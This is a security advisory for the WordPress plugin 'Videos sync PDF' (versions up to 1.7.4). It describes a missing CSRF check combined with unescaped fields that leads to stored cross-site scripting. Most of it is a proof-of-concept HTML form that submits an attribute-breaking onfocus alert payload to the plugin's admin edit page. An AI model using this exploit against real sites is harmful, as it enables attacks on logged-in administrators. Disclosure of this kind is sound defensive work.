Videos sync PDF <= 1.7.4 – Stored Cross-Site Scripting via CSRF

Description

The plugin does not have CSRF check in place when editing a video, and does not escape some of its fields, which could allow attackers to make a logged in admin change them and lead to Stored Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="http://example.com/wp-admin/admin.php?page=aje_videosyncropdf_videos&p=modifVideo&code=test1test" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="nom" value="Video example" />
      <input type="hidden" name="pdf" value='" autofocus onfocus=alert(/XSS/)//' />
      <input type="hidden" name="mp4" value="video.mp4" />
      <input type="hidden" name="webm" value="video.webm" />
      <input type="hidden" name="ogg" value="" />
      <input type="hidden" name="timers" value="00:00:05->2,
00:00:10->3,
00:00:15->4,
00:00:20->5" />
      <input type="hidden" name="ok" value="Edit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>